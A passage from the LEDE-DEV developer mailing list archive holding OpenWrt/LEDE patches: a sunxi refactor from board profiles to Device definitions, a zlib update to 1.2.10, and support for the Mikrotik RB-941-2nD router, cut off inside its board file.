+  DEVICE_TITLE:=Cubietech Cubieboard2
+  DEVICE_PACKAGES:=uboot-sunxi-Cubieboard2 kmod-ata-core kmod-ata-sunxi kmod-sun4i-emac kmod-rtc-sunxi
+  SUNXI_DTS:=sun7i-a20-cubieboard2
+  SUNXI_UBOOT:=Cubieboard2
 endef
 
-define Image/Build/Profile/Cubietruck
-	$(call Image/Build/SDCard,$(1),sun7i-a20-cubietruck)
+TARGET_DEVICES += sun7i-a20-cubieboard2
+
+
+define Device/sun4i-a10-cubieboard
+  DEVICE_TITLE:=Cubietech Cubieboard
+  DEVICE_PACKAGES:=uboot-sunxi-Cubieboard kmod-ata-core kmod-ata-sunxi kmod-sun4i-emac kmod-rtc-sunxi
+  SUNXI_DTS:=sun4i-a10-cubieboard
+  SUNXI_UBOOT:=Cubieboard
 endef
 
-define Image/Build/Profile/OLIMEX_A13_SOM
-	$(call Image/Build/SDCard,$(1),sun5i-a13-olinuxino)
+TARGET_DEVICES += sun4i-a10-cubieboard
+
+
+define Device/sun7i-a20-cubietruck
+  DEVICE_TITLE:=Cubietech Cubietruck
+  DEVICE_PACKAGES:=uboot-sunxi-Cubietruck kmod-ata-core kmod-ata-sunxi kmod-rtc-sunxi kmod-brcmfmac
+  SUNXI_DTS:=sun7i-a20-cubietruck
+  SUNXI_UBOOT:=Cubietruck
 endef
 
-define Image/Build/Profile/Mele_M9
-	$(call Image/Build/SDCard,$(1),sun6i-a31-m9)
+TARGET_DEVICES += sun7i-a20-cubietruck
+
+
+define Device/sun7i-a20-lamobo-r1
+  DEVICE_TITLE:=Lamobo R1
+  DEVICE_PACKAGES:=uboot-sunxi-Lamobo_R1 kmod-ata-sunxi kmod-rtl8192cu swconfig wpad-mini
+  SUNXI_DTS:=sun7i-a20-lamobo-r1
+  SUNXI_UBOOT:=Lamobo_R1
 endef
 
-define Image/Build/Profile/Linksprite_pcDuino
-	$(call Image/Build/SDCard,$(1),sun4i-a10-pcduino)
+TARGET_DEVICES += sun7i-a20-lamobo-r1
+
+
+define Device/sun6i-a31-m9
+  DEVICE_TITLE:=Mele M9 top set box
+  DEVICE_PACKAGES:=uboot-sunxi-Mele_M9 kmod-sun4i-emac kmod-rtc-sunxi kmod-rtl8192cu
+  SUNXI_DTS:=sun6i-a31-m9
+  SUNXI_UBOOT:=Mele_M9
 endef
 
-define Image/Build/Profile/Linksprite_pcDuino3
-	$(call Image/Build/SDCard,$(1),sun7i-a20-pcduino3)
+TARGET_DEVICES += sun6i-a31-m9
+
+
+define Device/sun8i-h3-orangepi-plus
+  DEVICE_TITLE:=Xunlong Orange Pi Plus
+  DEVICE_PACKAGES:=kmod-rtc-sunxi uboot-sunxi-orangepi_plus
+  SUNXI_DTS:=sun8i-h3-orangepi-plus
+  SUNXI_UBOOT:=orangepi_plus
 endef
 
-define Image/Build/Profile/orangepi_plus
-	$(call Image/Build/SDCard,$(1),sun8i-h3-orangepi-plus)
+TARGET_DEVICES += sun8i-h3-orangepi-plus
+
+
+define Device/sun7i-a20-pcduino3
+  DEVICE_TITLE:=LinkSprite pcDuino3
+  DEVICE_PACKAGES:=uboot-sunxi-Linksprite_pcDuino3 kmod-sun4i-emac kmod-rtc-sunxi kmod-ata-core kmod-ata-sunxi kmod-rtl8xxxu rtl8188eu-firmware
+  SUNXI_DTS:=sun7i-a20-pcduino3
+  SUNXI_UBOOT:=Linksprite_pcDuino3
 endef
 
-define Image/Build
-	$(call Image/Build/$(1),$(1))
-	$(call Image/Build/Profile/$(PROFILE),$(1))
+TARGET_DEVICES += sun7i-a20-pcduino3
+
 
-	dd if=$(KDIR)/root.$(1) of=$(BIN_DIR)/$(IMG_PREFIX)-root.$(1) bs=128k conv=sync
+define Device/sun4i-a10-pcduino
+  DEVICE_TITLE:=LinkSprite pcDuino
+  DEVICE_PACKAGES:=uboot-sunxi-Linksprite_pcDuino kmod-sun4i-emac kmod-rtc-sunxi kmod-rtl8192cu
+  SUNXI_DTS:=sun4i-a10-pcduino
+  SUNXI_UBOOT:=Linksprite_pcDuino
 endef
 
+TARGET_DEVICES += sun4i-a10-pcduino
+
+
 $(eval $(call BuildImage))
diff --git a/target/linux/sunxi/image/gen_sunxi_sdcard_img.sh b/target/linux/sunxi/image/gen_sunxi_sdcard_img.sh
index 2a09306..bb89e3a 100755
--- a/target/linux/sunxi/image/gen_sunxi_sdcard_img.sh
+++ b/target/linux/sunxi/image/gen_sunxi_sdcard_img.sh
@@ -1,5 +1,4 @@
 #!/usr/bin/env bash
-
 #
 # Copyright (C) 2013 OpenWrt.org
 #
@@ -7,7 +6,7 @@
 # See /LICENSE for more information.
 #
 
-set -x 
+set -ex
 [ $# -eq 6 ] || {
     echo "SYNTAX: $0 <file> <bootfs image> <rootfs image> <bootfs size> <rootfs size> <u-boot image>"
     exit 1
diff --git a/target/linux/sunxi/profiles/01-default.mk b/target/linux/sunxi/profiles/01-default.mk
deleted file mode 100644
index 7d83440..0000000
--- a/target/linux/sunxi/profiles/01-default.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-#
-# Copyright (C) 2013 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/Default
-  NAME:=Default package set
-  PACKAGES += uboot-sunxi-A13-OLinuXino
-endef
-
-define Profile/Default/Description
-	Default package set compatible with most boards.
-endef
-$(eval $(call Profile,Default))
-
diff --git a/target/linux/sunxi/profiles/a10-olinuxino.mk b/target/linux/sunxi/profiles/a10-olinuxino.mk
deleted file mode 100644
index b307373..0000000
--- a/target/linux/sunxi/profiles/a10-olinuxino.mk
+++ /dev/null
@@ -1,19 +0,0 @@
-#
-# Copyright (C) 2013 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/A10-OLinuXino-Lime
-	NAME:=A10 OLinuXino LIME
-	PACKAGES:=\
-		uboot-sunxi-A10-OLinuXino-Lime kmod-ata-core kmod-ata-sunxi \
-		kmod-sun4i-emac kmod-rtc-sunxi
-endef
-
-define Profile/A10-OLinuXino-Lime/Description
-	Package set optimized for the Olimex A10 OLinuXino LIME
-endef
-
-$(eval $(call Profile,A10-OLinuXino-Lime))
diff --git a/target/linux/sunxi/profiles/a13-olimex-som.mk b/target/linux/sunxi/profiles/a13-olimex-som.mk
deleted file mode 100644
index 8dc7339..0000000
--- a/target/linux/sunxi/profiles/a13-olimex-som.mk
+++ /dev/null
@@ -1,18 +0,0 @@
-#
-# Copyright (C) 2013 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/OLIMEX_A13_SOM
-	NAME:=Olimex A13 SOM
-	PACKAGES:=\
-		uboot-sunxi-OLIMEX_A13_SOM kmod-rtl8192cu
-endef
-
-define Profile/OLIMEX_A13_SOM/Description
-	Package set optimized for the Olimex A13 SOM
-endef
-
-$(eval $(call Profile,OLIMEX_A13_SOM))
diff --git a/target/linux/sunxi/profiles/a13-olinuxino.mk b/target/linux/sunxi/profiles/a13-olinuxino.mk
deleted file mode 100644
index 0757098..0000000
--- a/target/linux/sunxi/profiles/a13-olinuxino.mk
+++ /dev/null
@@ -1,18 +0,0 @@
-#
-# Copyright (C) 2013 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/A13-OLinuXino
-	NAME:=A13 OLinuXino
-	PACKAGES:=\
-		uboot-sunxi-A13-OLinuXino kmod-rtl8192cu
-endef
-
-define Profile/A13-OLinuXino/Description
-	Package set optimized for the Olimex A13 OLinuXino
-endef
-
-$(eval $(call Profile,A13-OLinuXino))
diff --git a/target/linux/sunxi/profiles/a20-olinuxino.mk b/target/linux/sunxi/profiles/a20-olinuxino.mk
deleted file mode 100644
index 92c9ae5..0000000
--- a/target/linux/sunxi/profiles/a20-olinuxino.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-#
-# Copyright (C) 2013 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/A20-OLinuXino-Lime
-	NAME:=A20 OLinuXino Lime
-	PACKAGES:=\
-		uboot-sunxi-A20-OLinuXino-Lime kmod-ata-core kmod-ata-sunxi \
-		kmod-rtc-sunxi
-endef
-
-define Profile/A20-OLinuXino-Lime/Description
-	Package set optimized for the Olimex A20 OLinuXino Lime
-endef
-
-$(eval $(call Profile,A20-OLinuXino-Lime))
-
-
-define Profile/A20-OLinuXino_MICRO
-	NAME:=A20 OLinuXino Micro
-	PACKAGES:=\
-		uboot-sunxi-A20-OLinuXino_MICRO kmod-ata-core kmod-ata-sunxi \
-		kmod-sun4i-emac kmod-rtc-sunxi
-endef
-
-define Profile/A20-OLinuXino_MICRO/Description
-	Package set optimized for the Olimex A20 OLinuXino micro
-endef
-
-$(eval $(call Profile,A20-OLinuXino_MICRO))
diff --git a/target/linux/sunxi/profiles/bananapi.mk b/target/linux/sunxi/profiles/bananapi.mk
deleted file mode 100644
index 96b8aeb..0000000
--- a/target/linux/sunxi/profiles/bananapi.mk
+++ /dev/null
@@ -1,18 +0,0 @@
-#
-# Copyright (C) 2013 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/Bananapi
-	NAME:=Bananapi
-	PACKAGES:=\
-		uboot-sunxi-Bananapi kmod-rtc-sunxi kmod-ata-core kmod-ata-sunxi
-endef
-
-define Profile/Bananapi/Description
-	Package set optimized for the Bananapi
-endef
-
-$(eval $(call Profile,Bananapi))
diff --git a/target/linux/sunxi/profiles/bananapro.mk b/target/linux/sunxi/profiles/bananapro.mk
deleted file mode 100644
index 853b0d4..0000000
--- a/target/linux/sunxi/profiles/bananapro.mk
+++ /dev/null
@@ -1,19 +0,0 @@
-#
-# Copyright (C) 2015 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/Bananapro
-	NAME:=Bananapro
-	PACKAGES:=\
-		uboot-sunxi-Bananapro kmod-rtc-sunxi kmod-ata-core kmod-ata-sunxi \
-		kmod-brcmfmac
-endef
-
-define Profile/Bananapro/Description
-	Package set optimized for the Bananapro
-endef
-
-$(eval $(call Profile,Bananapro))
diff --git a/target/linux/sunxi/profiles/cubieboard.mk b/target/linux/sunxi/profiles/cubieboard.mk
deleted file mode 100644
index c95efe6..0000000
--- a/target/linux/sunxi/profiles/cubieboard.mk
+++ /dev/null
@@ -1,19 +0,0 @@
-#
-# Copyright (C) 2013 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/Cubieboard
-	NAME:=Cubieboard
-	PACKAGES:=\
-		uboot-sunxi-Cubieboard kmod-ata-core kmod-ata-sunxi \
-		kmod-sun4i-emac kmod-rtc-sunxi
-endef
-
-define Profile/Cubieboard/Description
-	Package set optimized for the Cubieboard
-endef
-
-$(eval $(call Profile,Cubieboard))
diff --git a/target/linux/sunxi/profiles/cubieboard2.mk b/target/linux/sunxi/profiles/cubieboard2.mk
deleted file mode 100644
index cfeb968..0000000
--- a/target/linux/sunxi/profiles/cubieboard2.mk
+++ /dev/null
@@ -1,19 +0,0 @@
-#
-# Copyright (C) 2013 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/Cubieboard2
-	NAME:=Cubieboard2
-	PACKAGES:=\
-		uboot-sunxi-Cubieboard2 kmod-ata-core kmod-ata-sunxi \
-		kmod-sun4i-emac kmod-rtc-sunxi
-endef
-
-define Profile/Cubieboard2/Description
-	Package set optimized for the Cubieboard2
-endef
-
-$(eval $(call Profile,Cubieboard2))
diff --git a/target/linux/sunxi/profiles/cubietruck.mk b/target/linux/sunxi/profiles/cubietruck.mk
deleted file mode 100644
index 3e28334..0000000
--- a/target/linux/sunxi/profiles/cubietruck.mk
+++ /dev/null
@@ -1,19 +0,0 @@
-#
-# Copyright (C) 2013 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/Cubietruck
-	NAME:=Cubietruck
-	PACKAGES:=\
-		uboot-sunxi-Cubietruck kmod-ata-core kmod-ata-sunxi \
-		kmod-rtc-sunxi kmod-brcmfmac
-endef
-
-define Profile/Cubietruck/Description
-	Package set optimized for the Cubietruck
-endef
-
-$(eval $(call Profile,Cubietruck))
diff --git a/target/linux/sunxi/profiles/lamobo-r1.mk b/target/linux/sunxi/profiles/lamobo-r1.mk
deleted file mode 100644
index 4bc1185..0000000
--- a/target/linux/sunxi/profiles/lamobo-r1.mk
+++ /dev/null
@@ -1,19 +0,0 @@
-#
-# Copyright (C) 2015 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/Lamobo_R1
-	NAME:=Lamobo R1
-	PACKAGES:=\
-		uboot-sunxi-Lamobo_R1 kmod-ata-sunxi kmod-rtl8192cu \
-		swconfig wpad-mini
-endef
-
-define Profile/Lamobo_R1/Description
-	Package set optimized for the Lamobo R1
-endef
-
-$(eval $(call Profile,Lamobo_R1))
diff --git a/target/linux/sunxi/profiles/mele_m9.mk b/target/linux/sunxi/profiles/mele_m9.mk
deleted file mode 100644
index 1313da4..0000000
--- a/target/linux/sunxi/profiles/mele_m9.mk
+++ /dev/null
@@ -1,18 +0,0 @@
-#
-# Copyright (C) 2013 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/Mele_M9
-	NAME:=Mele_M9
-	PACKAGES:=\
-		uboot-sunxi-Mele_M9 kmod-sun4i-emac kmod-rtc-sunxi kmod-rtl8192cu
-endef
-
-define Profile/Mele_M9/Description
-	Package set optimized for the Mele M9
-endef
-
-$(eval $(call Profile,Mele_M9))
diff --git a/target/linux/sunxi/profiles/orangepi_plus.mk b/target/linux/sunxi/profiles/orangepi_plus.mk
deleted file mode 100644
index 3da9da7..0000000
--- a/target/linux/sunxi/profiles/orangepi_plus.mk
+++ /dev/null
@@ -1,18 +0,0 @@
-#
-# Copyright (C) 2016 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/orangepi_plus
-	NAME:=orangepi_plus
-	PACKAGES:=\
-		kmod-rtc-sunxi uboot-sunxi-orangepi_plus
-endef
-
-define Profile/orangepi_plus/Description
-	Package set optimized for the OrangePi Plus (H3)
-endef
-
-$(eval $(call Profile,orangepi_plus))
diff --git a/target/linux/sunxi/profiles/pcduino.mk b/target/linux/sunxi/profiles/pcduino.mk
deleted file mode 100644
index 3a4202d..0000000
--- a/target/linux/sunxi/profiles/pcduino.mk
+++ /dev/null
@@ -1,18 +0,0 @@
-#
-# Copyright (C) 2013 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/Linksprite_pcDuino
-	NAME:=Linksprite_pcDuino
-	PACKAGES:=\
-		uboot-sunxi-Linksprite_pcDuino kmod-sun4i-emac kmod-rtc-sunxi kmod-rtl8192cu
-endef
-
-define Profile/Linksprite_pcDuino/Description
-	Package set optimized for the Linksprite pcDuino
-endef
-
-$(eval $(call Profile,Linksprite_pcDuino))
diff --git a/target/linux/sunxi/profiles/pcduino3.mk b/target/linux/sunxi/profiles/pcduino3.mk
deleted file mode 100644
index 257d40f..0000000
--- a/target/linux/sunxi/profiles/pcduino3.mk
+++ /dev/null
@@ -1,19 +0,0 @@
-#
-# Copyright (C) 2013 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/Linksprite_pcDuino3
-	NAME:=pcDuino3
-	PACKAGES:=\
-		uboot-sunxi-Linksprite_pcDuino3 kmod-sun4i-emac kmod-rtc-sunxi \
-		kmod-ata-core kmod-ata-sunxi kmod-rtl8xxxu rtl8188eu-firmware
-endef
-
-define Profile/Linksprite_pcDuino3/Description
-	Package set optimized for the pcDuino3
-endef
-
-$(eval $(call Profile,Linksprite_pcDuino3))
-- 
2.6.4



From mkroken at gmail.com  Wed Jan  4 13:52:54 2017
From: mkroken at gmail.com (Magnus Kroken)
Date: Wed,  4 Jan 2017 22:52:54 +0100
Subject: [LEDE-DEV] [PATCH] zlib: update to 1.2.10
Message-ID: <1483566774-17039-1-git-send-email-mkroken@gmail.com>

* Fix bug in deflate_stored() for zero-length input
* Fix bug in gzwrite.c that produced corrupt gzip files

Signed-off-by: Magnus Kroken <mkroken at gmail.com>
---
Zlib authors recommend immediately upgrading from 1.2.9 due to these bugs.

 package/libs/zlib/Makefile | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/package/libs/zlib/Makefile b/package/libs/zlib/Makefile
index 93c8115..d6155b6 100644
--- a/package/libs/zlib/Makefile
+++ b/package/libs/zlib/Makefile
@@ -8,12 +8,12 @@
 include $(TOPDIR)/rules.mk
 
 PKG_NAME:=zlib
-PKG_VERSION:=1.2.9
+PKG_VERSION:=1.2.10
 PKG_RELEASE:=1
 
 PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.xz
 PKG_SOURCE_URL:=http://www.zlib.net @SF/libpng
-PKG_HASH:=03d9c7f67976cf1389589782de46f45011053ea7f4222c2fb8c2cf9fd813bb68
+PKG_HASH:=9612bf086047078ce3a1c154fc9052113fc1a2a97234a059da17a6299bd4dd32
 
 PKG_LICENSE:=Zlib
 PKG_LICENSE_FILES:=README
-- 
2.1.4



From "Thibaut VARENE <hacks at slashdirt.org>" at vps.slashdirt.org  Wed Jan  4 14:04:37 2017
From: "Thibaut VARENE <hacks at slashdirt.org>" at vps.slashdirt.org ("Thibaut VARENE <hacks at slashdirt.org>" at vps.slashdirt.org)
Date: Wed,  4 Jan 2017 23:04:37 +0100 (CET)
Subject: [LEDE-DEV] [PATCH] ar71xx: add support for RB-941-2nD
Message-ID: <20170104220438.057BA120082@vps.slashirt.org>

>From e55aa1ddff1563d582b456807f20c0457fcaed77 Mon Sep 17 00:00:00 2001
From: Thibaut VARENE <hacks at slashdirt.org>
Date: Wed, 4 Jan 2017 22:44:54 +0100
Subject: [PATCH] ar71xx: add support for RB-941-2nD

Add full support for Mikrotik RB-941-2nD (hAP lite)

Original patch by Sergey Sergeev <adron at yapic.net> and
more information is available here:
https://wiki.openwrt.org/toh/mikrotik/rb941_2nd
I updated and adapted the patch to apply cleanly to LEDE trunk
and added proper numbering for the switch ports (matching case
labels).
Tested working on actual hardware with the information
provided in the above webpage. Sysupgrade works.

Signed-off-by: Thibaut VARENE <hacks at slashdirt.org>
---
 target/linux/ar71xx/base-files/etc/board.d/01_leds |   3 +
 .../linux/ar71xx/base-files/etc/board.d/02_network |   4 +
 target/linux/ar71xx/base-files/etc/diag.sh         |   2 +-
 target/linux/ar71xx/base-files/lib/ar71xx.sh       |   3 +
 .../ar71xx/base-files/lib/upgrade/platform.sh      |  29 +++-
 target/linux/ar71xx/config-4.4                     |   1 +
 .../ar71xx/files/arch/mips/ath79/Kconfig.openwrt   |  10 ++
 target/linux/ar71xx/files/arch/mips/ath79/Makefile |   1 +
 .../ar71xx/files/arch/mips/ath79/mach-rb941.c      | 174 +++++++++++++++++++++
 .../linux/ar71xx/files/arch/mips/ath79/machtypes.h |   1 +
 target/linux/ar71xx/image/legacy.mk                |  23 +++
 .../linux/ar71xx/mikrotik/profiles/03-norflash.mk  |  16 ++
 12 files changed, 263 insertions(+), 4 deletions(-)
 create mode 100644 target/linux/ar71xx/files/arch/mips/ath79/mach-rb941.c
 create mode 100644 target/linux/ar71xx/mikrotik/profiles/03-norflash.mk

diff --git a/target/linux/ar71xx/base-files/etc/board.d/01_leds b/target/linux/ar71xx/base-files/etc/board.d/01_leds
index c6dcf36..75b5142 100755
--- a/target/linux/ar71xx/base-files/etc/board.d/01_leds
+++ b/target/linux/ar71xx/base-files/etc/board.d/01_leds
@@ -199,6 +199,9 @@ rb-750)
 	ucidef_set_led_switch "port4" "port4" "rb750:green:port4" "switch0" "0x04"
 	ucidef_set_led_switch "port5" "port5" "rb750:green:port5" "switch0" "0x02"
 	;;
+rb-941-2nd)
+	ucidef_set_led_timer "act" "act" "rb:green:act" "1000" "1000"
+	;;
 rb-2011l|\
 rb-2011uas|\
 rb-2011uias|\
diff --git a/target/linux/ar71xx/base-files/etc/board.d/02_network b/target/linux/ar71xx/base-files/etc/board.d/02_network
index 8acd214..6fd9601 100755
--- a/target/linux/ar71xx/base-files/etc/board.d/02_network
+++ b/target/linux/ar71xx/base-files/etc/board.d/02_network
@@ -237,6 +237,10 @@ ar71xx_setup_interfaces()
 	dap-2695-a1)
 		ucidef_add_switch "switch0" "0 at eth0" "2:lan" "3:wan" "6 at eth1"
 		;;
+	rb-941-2nd)
+		ucidef_add_switch "switch0" \
+			"0 at eth0" "1:lan:4" "2:lan:3" "3:lan:2" "4:wan:1"
+	;;
 	db120|\
 	rb-2011l|\
 	rb-2011uas|\
diff --git a/target/linux/ar71xx/base-files/etc/diag.sh b/target/linux/ar71xx/base-files/etc/diag.sh
index d060ccf..75c6c9a 100644
--- a/target/linux/ar71xx/base-files/etc/diag.sh
+++ b/target/linux/ar71xx/base-files/etc/diag.sh
@@ -288,7 +288,7 @@ get_status_led() {
 	rb-912uag-5hpnd)
 		status_led="rb:green:user"
 		;;
-	rb-951ui-2hnd)
+	rb-951ui-2hnd | rb-941-2nd)
 		status_led="rb:green:act"
 		;;
 	rb-sxt2n|\
diff --git a/target/linux/ar71xx/base-files/lib/ar71xx.sh b/target/linux/ar71xx/base-files/lib/ar71xx.sh
index 3241100..527112b 100755
--- a/target/linux/ar71xx/base-files/lib/ar71xx.sh
+++ b/target/linux/ar71xx/base-files/lib/ar71xx.sh
@@ -827,6 +827,9 @@ ar71xx_board_detect() {
 	*"RouterBOARD 912UAG-5HPnD")
 		name="rb-912uag-5hpnd"
 		;;
+	*"RouterBOARD 941-2nD")
+		name="rb-941-2nd"
+		;;
 	*"RouterBOARD 951G-2HnD")
 		name="rb-951g-2hnd"
 		;;
diff --git a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
index 570aa68..5847125 100755
--- a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
+++ b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
@@ -11,6 +11,8 @@ RAMFS_COPY_DATA=/lib/ar71xx.sh
 CI_BLKSZ=65536
 CI_LDADR=0x80060000
 
+PLATFORM_DO_UPGRADE_COMBINED_SEPARATE_MTD=0
+
 platform_find_partitions() {
 	local first dev size erasesize name
 	while read dev size erasesize name; do
@@ -40,6 +42,13 @@ platform_find_kernelpart() {
 	done
 }
 
+platform_find_rootfspart() {
+	local part
+	for part in "${1%:*}" "${1#*:}"; do
+		[ "$part" != "$2" ] && echo "$part"; break
+	done
+}
+
 platform_do_upgrade_combined() {
 	local partitions=$(platform_find_partitions)
 	local kernelpart=$(platform_find_kernelpart "${partitions#*:}")
@@ -53,13 +62,22 @@ platform_do_upgrade_combined() {
 	   [ ${root_blocks:-0} -gt 0 ] && \
 	   [ ${erase_size:-0} -gt 0 ];
 	then
+		local rootfspart=$(platform_find_rootfspart "$partitions" "$kernelpart")
 		local append=""
 		[ -f "$CONF_TAR" -a "$SAVE_CONFIG" -eq 1 ] && append="-j $CONF_TAR"
 
-		( dd if="$1" bs=$CI_BLKSZ skip=1 count=$kern_blocks 2>/dev/null; \
-		  dd if="$1" bs=$CI_BLKSZ skip=$((1+$kern_blocks)) count=$root_blocks 2>/dev/null ) | \
-			mtd -r $append -F$kernelpart:$kern_length:$CI_LDADR,rootfs write - $partitions
+		if [ "$PLATFORM_DO_UPGRADE_COMBINED_SEPARATE_MTD" -ne 1 ]; then
+		    ( dd if="$1" bs=$CI_BLKSZ skip=1 count=$kern_blocks 2>/dev/null; \
+		      dd if="$1" bs=$CI_BLKSZ skip=$((1+$kern_blocks)) count=$root_blocks 2>/dev/null ) | \
+			    mtd -r $append -F$kernelpart:$kern_length:$CI_LDADR,rootfs write - $partitions
+		elif [ -n "$rootfspart" ]; then
+		    dd if="$1" bs=$CI_BLKSZ skip=1 count=$kern_blocks 2>/dev/null | \
+			    mtd write - $kernelpart
+		    dd if="$1" bs=$CI_BLKSZ skip=$((1+$kern_blocks)) count=$root_blocks 2>/dev/null | \
+			    mtd -r $append write - $rootfspart
+		fi
 	fi
+	PLATFORM_DO_UPGRADE_COMBINED_SEPARATE_MTD=0
 }
 
 tplink_get_image_hwid() {
@@ -308,6 +326,7 @@ platform_check_image() {
 	ls-sr71|\
 	pb42|\
 	pb44|\
+	rb-941-2nd|\
 	routerstation-pro|\
 	routerstation|\
 	wp543|\
@@ -586,6 +605,10 @@ platform_do_upgrade() {
 	local board=$(ar71xx_board_name)
 
 	case "$board" in
+	rb-941-2nd)
+		PLATFORM_DO_UPGRADE_COMBINED_SEPARATE_MTD=1
+		platform_do_upgrade_combined "$ARGV"
+		;;
 	all0258n)
 		platform_do_upgrade_allnet "0x9f050000" "$ARGV"
 		;;
diff --git a/target/linux/ar71xx/config-4.4 b/target/linux/ar71xx/config-4.4
index 4b2f736..a79d53e 100644
--- a/target/linux/ar71xx/config-4.4
+++ b/target/linux/ar71xx/config-4.4
@@ -143,6 +143,7 @@ CONFIG_ATH79_MACH_R6100=y
 # CONFIG_ATH79_MACH_RB750 is not set
 # CONFIG_ATH79_MACH_RB91X is not set
 # CONFIG_ATH79_MACH_RB922 is not set
+# CONFIG_ATH79_MACH_RB941 is not set
 # CONFIG_ATH79_MACH_RB95X is not set
 # CONFIG_ATH79_MACH_RBSXTLITE is not set
 CONFIG_ATH79_MACH_RE450=y
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
index 21d6b51..b38c30a 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
+++ b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
@@ -860,6 +860,16 @@ config ATH79_MACH_RB922
 	select ATH79_ROUTERBOOT
 	select RLE_DECOMPRESS
 
+config ATH79_MACH_RB941
+	bool "MikroTik RouterBOARD 941-2nd support"
+	select SOC_QCA953X
+	select ATH79_DEV_ETH
+	select ATH79_DEV_GPIO_BUTTONS
+	select ATH79_DEV_LEDS_GPIO
+	select ATH79_DEV_M25P80
+	select ATH79_DEV_WMAC
+	select ATH79_ROUTERBOOT
+
 config ATH79_MACH_RB95X
        bool "MikroTik RouterBOARD 95X support"
        select SOC_AR934X
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Makefile b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
index 6384c06..03bbe21 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/Makefile
+++ b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
@@ -147,6 +147,7 @@ obj-$(CONFIG_ATH79_MACH_RB4XX)			+= mach-rb4xx.o
 obj-$(CONFIG_ATH79_MACH_RB750)			+= mach-rb750.o
 obj-$(CONFIG_ATH79_MACH_RB91X)			+= mach-rb91x.o
 obj-$(CONFIG_ATH79_MACH_RB922)			+= mach-rb922.o
+obj-$(CONFIG_ATH79_MACH_RB941)			+= mach-rb941.o
 obj-$(CONFIG_ATH79_MACH_RB95X)			+= mach-rb95x.o
 obj-$(CONFIG_ATH79_MACH_RBSXTLITE)		+= mach-rbsxtlite.o
 obj-$(CONFIG_ATH79_MACH_RE450)			+= mach-re450.o
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/mach-rb941.c b/target/linux/ar71xx/files/arch/mips/ath79/mach-rb941.c
new file mode 100644
index 0000000..5a8c7c0
--- /dev/null
+++ b/target/linux/ar71xx/files/arch/mips/ath79/mach-rb941.c
@@ -0,0 +1,174 @@
+/*
+ *  MikroTik RouterBOARD 941-2nD support
+ *
+ *  Copyright (C) 2016 Sergey Sergeev <adron at yapic.net>
+ *
+ *  This program is free software; you can redistribute it and/or modify it
+ *  under the terms of the GNU General Public License version 2 as published
+ *  by the Free Software Foundation.
+ */
+
+#include <linux/export.h>
+#include <linux/pci.h>
+#include <linux/ath9k_platform.h>
+#include <linux/platform_device.h>
+#include <linux/phy.h>
+#include <linux/ar8216_platform.h>
+#include <linux/rle.h>
+#include <linux/routerboot.h>
+#include <linux/gpio.h>
+
+#include <linux/mtd/mtd.h>
+//#include <linux/mtd/nand.h>
+#include <linux/mtd/partitions.h>
+
+#include <asm/mach-ath79/ar71xx_regs.h>
+#include <asm/mach-ath79/ath79.h>
+#include <asm/mach-ath79/irq.h>
+
+#include "common.h"
+#include "dev-ap9x-pci.h"
+#include "dev-eth.h"
+#include "dev-spi.h"
+#include "dev-gpio-buttons.h"
+#include "dev-leds-gpio.h"
+#include "dev-m25p80.h"
+//#include "dev-usb.h"
+#include "dev-wmac.h"
+#include "machtypes.h"
+#include "routerboot.h"
+
+#define RB941_GPIO_LED_ACT      14
+#define RB941_GPIO_BTN_RESET    16
+
+#define RB941_KEYS_POLL_INTERVAL 20 /* msecs */
+#define RB941_KEYS_DEBOUNCE_INTERVAL (3 * RB941_KEYS_POLL_INTERVAL)
+
+#define RB_ROUTERBOOT_OFFSET    0x0000
+#define RB_ROUTERBOOT_SIZE      0xe000
+#define RB_HARD_CFG_OFFSET      0xe000
+#define RB_HARD_CFG_SIZE        0x1000
+#define RB_BIOS_OFFSET          0xf000
+#define RB_BIOS_SIZE            0x1000
+#define RB_ROUTERBOOT2_OFFSET   0x10000
+#define RB_ROUTERBOOT2_SIZE     0xf000
